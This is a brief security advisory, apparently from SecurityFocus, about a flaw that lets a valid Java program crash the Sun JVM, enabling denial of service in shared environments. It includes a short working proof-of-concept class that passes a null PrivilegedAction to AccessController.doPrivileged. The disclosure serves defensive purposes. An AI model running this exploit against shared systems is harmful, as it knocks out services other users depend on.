source: https://www.securityfocus.com/bid/3992/info
Java programs run in an intepreted environment, the Java Virtual Machine (JVM). Sun has provided a reference JVM implementation for multiple platforms, including Solaris, Windows and Linux.
It is possible for a maliciously constructed, valid java program to crash the Sun JVM. This may result in a denial of service attack in a shared environment. The ability to consistantly exploit this vulnerability has been demonstrated on the Linux version of the Sun JVM.
public class CrashMe
{
public static void main(String[] args)
{
java.security.AccessController.doPrivileged
((java.security.PrivilegedAction)null);
}
}